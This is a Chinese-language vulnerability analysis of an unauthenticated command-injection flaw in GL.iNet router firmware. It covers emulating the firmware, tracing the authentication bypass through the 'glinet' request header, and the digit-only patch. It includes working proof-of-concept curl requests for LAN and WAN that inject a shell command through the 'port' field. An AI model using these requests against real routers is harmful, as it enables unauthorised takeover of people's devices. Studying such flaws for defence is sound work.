基本信息
漏洞影响:GL.iNet AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11
版本、MT3000/MT2500/AXT1800/AX1800/A1300/X300B v4.5.16
版本、XE300 v4.3.16
版本、E750 v4.3.12
版本、AP1300/S1300 v4.3.13
版本和 XE3000/X3000 v4.4
版本
漏洞类型:未授权RCE
漏洞描述:可利用此漏洞通过 s2s API
传递恶意 shell
命令来操纵路由器
漏洞组件:/usr/lib/oui-httpd/rpc/s2s.so
漏洞分析
本文分析固件版本:GL-AX1800 Flint 4.5.16
固件解包后,根据漏洞公开信息,定位到/usr/lib/oui-httpd/rpc/s2s.so
漏洞原因是获取用户传来的port
键值,没有进行严格过滤直接进行字符串拼接传递给system
函数,造成命令执行漏洞
环境搭建
启动qemu
1 | sudo tunctl -t top0 -u root |
配置IP
1 | ifconfig eth0 192.168.10.2/24 |
上传文件系统
1 | rm -rf ~/.ssh/known_hosts |
配置挂载
1 | mount -o bind /dev ./squashfs-root/dev |
进入shell
1 | chroot ./squashfs-root/ sh |
启动服务
1 | mkdir -p /var/log/nginx |
漏洞利用
公开poc
1 | curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}' |
根据 Poc
可知请求的路径是rpc
,在 /etc/nginx
下的 nginx
配置文件中查找 rpc
相关信息。
在 /etc/nginx/conf.d/gl.conf
找到请求 rpc
路径的处理方法
跟进/usr/share/gl-ngx/oui-rpc.lua
根据poc信息定位到rpc_method_call
函数
解析参数个数和参数类型是否符合要求
调用rpc.is_no_auth
和rpc.access
鉴权,调用rpc.call
处理数据
跟进rpc.is_no_auth
函数,明显访问路径不是未授权接口
1 | cat etc/config/oui-httpd |
继续跟进rpc.access
函数,当在局域网之内并且请求头含有glinet
时,不鉴权
1 | M.session = function() |
不进行鉴权后,就到了跟进rpc.call
函数,在/usr/lib/oui-httpd/rpc/
目录中,判断文件是否存在,存在则调用glc_call
函数
跟进glc_call
函数,向/cgi-bin/glc
文件发送一个post请求
分析/cgi-bin/glc
文件,调用s2s.so
库文件的enable_echo_server
函数触发漏洞
Poc
局域网poc
1 | curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}' |
广域网poc
直接请求 /cgi-bin/glc
路径,将会调用 glc_call
函数。glc_call
函数会向另一个内部路径(/cgi-bin/glc
)发起一个内部 HTTP POST 请求,并传递方法名称、参数等信息。执行 call
方法并且跳过之前的权限校验,修改 POC
尝试远程利用
1 | curl http://192.168.10.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/test2024)"}}' |
补丁分析
对post键值进行逐字符判断,保证字符串一定是数字
参考链接
固件下载:https://dl.gl-inet.cn/release/router/release/ax1800/4.5.16
漏洞分析:
https://bbs.kanxue.com/thread-283585.htm#msg_header_h2_3
https://www.iotsec-zone.com/article/477
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/s2s%20interface%20shell%20injection.md